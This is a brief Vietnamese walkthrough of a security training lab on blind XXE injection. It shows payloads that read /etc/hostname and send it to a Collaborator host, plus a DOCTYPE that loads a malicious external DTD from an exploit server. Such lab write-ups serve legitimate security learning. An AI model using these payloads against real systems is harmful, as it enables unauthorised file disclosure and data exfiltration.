# Exploiting blind XXE to exfiltrate data using a malicious external DTD
* Ở bài này chúng ta sẽ khai thác lỗ hổng blind XXE Injection để đọc file `/etc/hostname`. Lỗ hổng vẫn nằm ở tính năng **Check stock**, chúng ta sẽ kiểm tra và tìm vị trí tiêm payload.


* Payload mà chúng ta sử dụng sẽ là:
`<!ENTITY % file SYSTEM "file:///etc/hostname">`
`<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://burp-collaborator-server.com/?x=%file;'>">`
`%eval;`
`%exfiltrate;`
Tuy nhiên sau khi gửi thì chúng ta nhận được response là entity đã bị block.

* Chúng ta sẽ chuyển qua dùng exploit server, tạo một file tên `malicious.dtd` chứa đoạn payload trên.

* Sau đó chúng ta tiêm payload để chuyển hướng đến URL chứa file `malicious.dtd`:
`<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://....exploit-server.net/malicious.dtd"> %xxe; ]>`

* Sau đó chúng ta qua Collaborator để kiểm tra thì chúng ta nhận được 1 request HTTP có chứa chuỗi kí tự ở biến `x`. Đây chính là nội dung trong file `/etc/hostname`.

* Lấy chuỗi trên để submit. Hoàn thành bài lab.
